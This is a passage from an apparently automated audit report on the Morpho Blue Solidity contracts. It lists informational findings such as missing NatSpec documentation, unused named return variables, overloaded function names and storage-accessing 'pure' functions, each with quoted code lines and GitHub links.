+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IIrm.sol#L13), [17](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IIrm.sol#L17)
+
+```solidity
+File: src/interfaces/IMorpho.sol
+
+/// @audit missed @return
+55: function DOMAIN_SEPARATOR() external view returns (bytes32);
+
+/// @audit missed @return
+61: function owner() external view returns (address);
+
+/// @audit missed @return
+65: function feeRecipient() external view returns (address);
+
+/// @audit missed @return
+68: function isIrmEnabled(address irm) external view returns (bool);
+
+/// @audit missed @return
+71: function isLltvEnabled(uint256 lltv) external view returns (bool);
+
+/// @audit missed @return
+75: function isAuthorized(address authorizer, address authorized) external view returns (bool);
+
+/// @audit missed @return
+78: function nonce(address authorizer) external view returns (uint256);
+
+/// @audit missed @return
+289: function extSloads(bytes32[] memory slots) external view returns (bytes32[] memory);
+
+/// @audit missed @return (supplyShares, borrowShares, collateral)
+298: function position(Id id, address user)
+
+/// @audit missed @return (totalSupplyAssets, totalSupplyShares, totalBorrowAssets, totalBorrowShares, lastUpdate, fee)
+308: function market(Id id)
+
+/// @audit missed @return (loanToken, collateralToken, oracle, irm, lltv)
+323: function idToMarketParams(Id id)
+
+/// @audit missed @return (p)
+337: function position(Id id, address user) external view returns (Position memory p);
+
+/// @audit missed @return (m)
+344: function market(Id id) external view returns (Market memory m);
+
+/// @audit missed @return
+349: function idToMarketParams(Id id) external view returns (MarketParams memory);
+
+```
+
+[55](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L55), [61](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L61), [65](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L65), [68](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L68), [71](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L71), [75](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L75), [78](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L78), [289](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L289), [298](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L298), [308](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L308), [323](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L323), [337](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L337), [344](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L344), [349](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L349)
+
+```solidity
+File: src/interfaces/IOracle.sol
+
+/// @audit missed @return
+14: function price() external view returns (uint256);
+
+```
+
+[14](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IOracle.sol#L14)
+
+```solidity
+File: src/libraries/MarketParamsLib.sol
+
+/// @audit missed @return (marketParamsId)
+16: function id(MarketParams memory marketParams) internal pure returns (Id marketParamsId) {
+
+```
+
+[16](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L16)
+
+```solidity
+File: src/libraries/MathLib.sol
+
+/// @audit missed @return
+12: function wMulDown(uint256 x, uint256 y) internal pure returns (uint256) {
+
+/// @audit missed @return
+17: function wDivDown(uint256 x, uint256 y) internal pure returns (uint256) {
+
+/// @audit missed @return
+22: function wDivUp(uint256 x, uint256 y) internal pure returns (uint256) {
+
+/// @audit missed @return
+27: function mulDivDown(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) {
+
+/// @audit missed @return
+32: function mulDivUp(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) {
+
+/// @audit missed @return
+38: function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+
+```
+
+[12](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L12), [17](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L17), [22](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L22), [27](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L27), [32](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L32), [38](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L38)
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+/// @audit missed @return
+9: function transfer(address to, uint256 value) external returns (bool);
+
+/// @audit missed @return
+10: function transferFrom(address from, address to, uint256 value) external returns (bool);
+
+```
+
+[9](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L9), [10](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L10)
+
+```solidity
+File: src/libraries/SharesMathLib.sol
+
+/// @audit missed @return
+24: function toSharesDown(uint256 assets, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+
+/// @audit missed @return
+29: function toAssetsDown(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+
+/// @audit missed @return
+34: function toSharesUp(uint256 assets, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+
+/// @audit missed @return
+39: function toAssetsUp(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+
+```
+
+[24](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L24), [29](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L29), [34](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L34), [39](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L39)
+
+```solidity
+File: src/libraries/UtilsLib.sol
+
+/// @audit missed @return (z)
+13: function exactlyOneZero(uint256 x, uint256 y) internal pure returns (bool z) {
+
+/// @audit missed @return (z)
+20: function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
+
+/// @audit missed @return
+27: function toUint128(uint256 x) internal pure returns (uint128) {
+
+/// @audit missed @return (z)
+33: function zeroFloorSub(uint256 x, uint256 y) internal pure returns (uint256 z) {
+
+```
+
+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L13), [20](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L20), [27](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L27), [33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L33)
+
+```solidity
+File: src/libraries/periphery/MorphoBalancesLib.sol
+
+/// @audit missed @return (totalSupplyAssets)
+65: function expectedTotalSupplyAssets(IMorpho morpho, MarketParams memory marketParams)
+
+/// @audit missed @return (totalBorrowAssets)
+74: function expectedTotalBorrowAssets(IMorpho morpho, MarketParams memory marketParams)
+
+/// @audit missed @return (totalSupplyShares)
+83: function expectedTotalSupplyShares(IMorpho morpho, MarketParams memory marketParams)
+
+/// @audit missed @return
+95: function expectedSupplyAssets(IMorpho morpho, MarketParams memory marketParams, address user)
+
+/// @audit missed @return
+110: function expectedBorrowAssets(IMorpho morpho, MarketParams memory marketParams, address user)
+
+```
+
+[65](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L65), [74](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L74), [83](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L83), [95](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L95), [110](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L110)
+
+```solidity
+File: src/libraries/periphery/MorphoLib.sol
+
+/// @audit missed @return
+13: function supplyShares(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+/// @audit missed @return
+18: function borrowShares(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+/// @audit missed @return
+23: function collateral(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+/// @audit missed @return
+28: function totalSupplyAssets(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @return
+33: function totalSupplyShares(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @return
+38: function totalBorrowAssets(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @return
+43: function totalBorrowShares(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @return
+48: function lastUpdate(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @return
+53: function fee(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @return
+58: function _array(bytes32 x) private pure returns (bytes32[] memory) {
+
+```
+
+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L13), [18](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L18), [23](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L23), [28](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L28), [33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L33), [38](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L38), [43](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L43), [48](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L48), [53](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L53), [58](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L58)
+
+```solidity
+File: src/libraries/periphery/MorphoStorageLib.sol
+
+/// @audit missed @return
+41: function ownerSlot() internal pure returns (bytes32) {
+
+/// @audit missed @return
+45: function feeRecipientSlot() internal pure returns (bytes32) {
+
+/// @audit missed @return
+49: function positionSupplySharesSlot(Id id, address user) internal pure returns (bytes32) {
+
+/// @audit missed @return
+55: function positionBorrowSharesAndCollateralSlot(Id id, address user) internal pure returns (bytes32) {
+
+/// @audit missed @return
+62: function marketTotalSupplyAssetsAndSharesSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @return
+66: function marketTotalBorrowAssetsAndSharesSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @return
+70: function marketLastUpdateAndFeeSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @return
+74: function isIrmEnabledSlot(address irm) internal pure returns (bytes32) {
+
+/// @audit missed @return
+78: function isLltvEnabledSlot(uint256 lltv) internal pure returns (bytes32) {
+
+/// @audit missed @return
+82: function isAuthorizedSlot(address authorizer, address authorizee) internal pure returns (bytes32) {
+
+/// @audit missed @return
+86: function nonceSlot(address authorizer) internal pure returns (bytes32) {
+
+/// @audit missed @return
+90: function idToLoanTokenSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @return
+94: function idToCollateralTokenSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @return
+98: function idToOracleSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @return
+102: function idToIrmSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @return
+106: function idToLltvSlot(Id id) internal pure returns (bytes32) {
+
+```
+
+[41](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L41), [45](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L45), [49](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L49), [55](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L55), [62](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L62), [66](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L66), [70](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L70), [74](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L74), [78](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L78), [82](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L82), [86](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L86), [90](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L90), [94](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L94), [98](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L98), [102](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L102), [106](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L106)
+
+
+
+### Modifier declaration should include NatSpec `@notice` documentation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (1)*:
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit missed @notice
+87: modifier onlyOwner() {
+
+```
+
+[87](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L87)
+
+
+
+### State variable declaration should include NatSpec documentation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+State variables should be commented to explain their purpose.
+
+*Instances (19)*:
+
+
+```solidity
+File: src/libraries/periphery/MorphoStorageLib.sol
+
+14: uint256 internal constant OWNER_SLOT = 0;
+
+15: uint256 internal constant FEE_RECIPIENT_SLOT = 1;
+
+16: uint256 internal constant POSITION_SLOT = 2;
+
+17: uint256 internal constant MARKET_SLOT = 3;
+
+18: uint256 internal constant IS_IRM_ENABLED_SLOT = 4;
+
+19: uint256 internal constant IS_LLTV_ENABLED_SLOT = 5;
+
+20: uint256 internal constant IS_AUTHORIZED_SLOT = 6;
+
+21: uint256 internal constant NONCE_SLOT = 7;
+
+22: uint256 internal constant ID_TO_MARKET_PARAMS_SLOT = 8;
+
+26: uint256 internal constant LOAN_TOKEN_OFFSET = 0;
+
+27: uint256 internal constant COLLATERAL_TOKEN_OFFSET = 1;
+
+28: uint256 internal constant ORACLE_OFFSET = 2;
+
+29: uint256 internal constant IRM_OFFSET = 3;
+
+30: uint256 internal constant LLTV_OFFSET = 4;
+
+32: uint256 internal constant SUPPLY_SHARES_OFFSET = 0;
+
+33: uint256 internal constant BORROW_SHARES_AND_COLLATERAL_OFFSET = 1;
+
+35: uint256 internal constant TOTAL_SUPPLY_ASSETS_AND_SHARES_OFFSET = 0;
+
+36: uint256 internal constant TOTAL_BORROW_ASSETS_AND_SHARES_OFFSET = 1;
+
+37: uint256 internal constant LAST_UPDATE_AND_FEE_OFFSET = 2;
+
+```
+
+[14](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L14), [15](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L15), [16](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L16), [17](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L17), [18](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L18), [19](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L19), [20](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L20), [21](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L21), [22](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L22), [26](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L26), [27](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L27), [28](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L28), [29](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L29), [30](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L30), [32](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L32), [33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L33), [35](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L35), [36](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L36), [37](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L37)
+
+
+
+
+### Not using the named return variables anywhere in the function is confusing
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Consider changing the variable to be an unnamed one, since the variable is never assigned, nor is it returned by name
+
+*Instances (4)*:
+
+```solidity
+File: src/libraries/MarketParamsLib.sol
+
+16: function id(MarketParams memory marketParams) internal pure returns (Id marketParamsId) {
+
+```
+
+[16](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L16)
+
+```solidity
+File: src/libraries/UtilsLib.sol
+
+13: function exactlyOneZero(uint256 x, uint256 y) internal pure returns (bool z) {
+
+20: function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
+
+33: function zeroFloorSub(uint256 x, uint256 y) internal pure returns (uint256 z) {
+
+```
+
+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L13), [20](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L20), [33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L33)
+
+
+
+
+### Polymorphic functions make security audits more time-consuming and error-prone
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The instances below point to one of two functions with the same name. Consider naming each function differently, in order to make code navigation and analysis easier.
+
+*Instances (8)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+501: function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+
+513: function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+514: internal
+515: view
+516: returns (bool)
+517: {
+
+```
+
+[501](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L501), [513-517](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L513-L517)
+
+```solidity
+File: src/interfaces/IMorpho.sol
+
+298: function position(Id id, address user)
+
+308: function market(Id id)
+
+323: function idToMarketParams(Id id)
+
+337: function position(Id id, address user) external view returns (Position memory p);
+
+344: function market(Id id) external view returns (Market memory m);
+
+349: function idToMarketParams(Id id) external view returns (MarketParams memory);
+
+```
+
+[298](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L298), [308](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L308), [323](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L323), [337](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L337), [344](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L344), [349](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L349)
+
+
+
+
+### `pure` function accesses storage
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+While the compiler currently flags functions like these as being `pure`, this is a [bug](https://github.com/ethereum/solidity/issues/11573) which will be fixed in a future version, so it's best to not use `pure` visibility, in order to not break when this bug is fixed.
+
+*Instances (21)*:
+
+see instances
+
+
+```solidity
+File: src/libraries/MarketParamsLib.sol
+
+16: function id(MarketParams memory marketParams) internal pure returns (Id marketParamsId) {
+17: assembly ("memory-safe") {
+18: marketParamsId := keccak256(marketParams, MARKET_PARAMS_BYTES_LENGTH)
+19: }
+20: }
+
+```
+
+[16-20](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L16-L20)
+
+```solidity
+File: src/libraries/SharesMathLib.sol
+
+24: function toSharesDown(uint256 assets, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+25: return assets.mulDivDown(totalShares + VIRTUAL_SHARES, totalAssets + VIRTUAL_ASSETS);
+26: }
+
+29: function toAssetsDown(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+30: return shares.mulDivDown(totalAssets + VIRTUAL_ASSETS, totalShares + VIRTUAL_SHARES);
+31: }
+
+34: function toSharesUp(uint256 assets, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+35: return assets.mulDivUp(totalShares + VIRTUAL_SHARES, totalAssets + VIRTUAL_ASSETS);
+36: }
+
+39: function toAssetsUp(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+40: return shares.mulDivUp(totalAssets + VIRTUAL_ASSETS, totalShares + VIRTUAL_SHARES);
+41: }
+
+```
+
+[24-26](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L24-L26), [29-31](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L29-L31), [34-36](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L34-L36), [39-41](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L39-L41)
+
+```solidity
+File: src/libraries/periphery/MorphoStorageLib.sol
+
+41: function ownerSlot() internal pure returns (bytes32) {
+42: return bytes32(OWNER_SLOT);
+43: }
+
+45: function feeRecipientSlot() internal pure returns (bytes32) {
+46: return bytes32(FEE_RECIPIENT_SLOT);
+47: }
+
+49: function positionSupplySharesSlot(Id id, address user) internal pure returns (bytes32) {
+50: return bytes32(
+51: uint256(keccak256(abi.encode(user, keccak256(abi.encode(id, POSITION_SLOT))))) + SUPPLY_SHARES_OFFSET
+52: );
+53: }
+
+55: function positionBorrowSharesAndCollateralSlot(Id id, address user) internal pure returns (bytes32) {
+56: return bytes32(
+57: uint256(keccak256(abi.encode(user, keccak256(abi.encode(id, POSITION_SLOT)))))
+58: + BORROW_SHARES_AND_COLLATERAL_OFFSET
+59: );
+60: }
+
+62: function marketTotalSupplyAssetsAndSharesSlot(Id id) internal pure returns (bytes32) {
+63: return bytes32(uint256(keccak256(abi.encode(id, MARKET_SLOT))) + TOTAL_SUPPLY_ASSETS_AND_SHARES_OFFSET);
+64: }
+
+66: function marketTotalBorrowAssetsAndSharesSlot(Id id) internal pure returns (bytes32) {
+67: return bytes32(uint256(keccak256(abi.encode(id, MARKET_SLOT))) + TOTAL_BORROW_ASSETS_AND_SHARES_OFFSET);
+68: }
+
+70: function marketLastUpdateAndFeeSlot(Id id) internal pure returns (bytes32) {
+71: return bytes32(uint256(keccak256(abi.encode(id, MARKET_SLOT))) + LAST_UPDATE_AND_FEE_OFFSET);
+72: }
+
+74: function isIrmEnabledSlot(address irm) internal pure returns (bytes32) {
+75: return keccak256(abi.encode(irm, IS_IRM_ENABLED_SLOT));
+76: }
+
+78: function isLltvEnabledSlot(uint256 lltv) internal pure returns (bytes32) {
+79: return keccak256(abi.encode(lltv, IS_LLTV_ENABLED_SLOT));
+80: }
+
+82: function isAuthorizedSlot(address authorizer, address authorizee) internal pure returns (bytes32) {
+83: return keccak256(abi.encode(authorizee, keccak256(abi.encode(authorizer, IS_AUTHORIZED_SLOT))));
+84: }
+
+86: function nonceSlot(address authorizer) internal pure returns (bytes32) {
+87: return keccak256(abi.encode(authorizer, NONCE_SLOT));
+88: }
+
+90: function idToLoanTokenSlot(Id id) internal pure returns (bytes32) {
+91: return bytes32(uint256(keccak256(abi.encode(id, ID_TO_MARKET_PARAMS_SLOT))) + LOAN_TOKEN_OFFSET);
+92: }
+
+94: function idToCollateralTokenSlot(Id id) internal pure returns (bytes32) {
+95: return bytes32(uint256(keccak256(abi.encode(id, ID_TO_MARKET_PARAMS_SLOT))) + COLLATERAL_TOKEN_OFFSET);
+96: }
+
+98: function idToOracleSlot(Id id) internal pure returns (bytes32) {
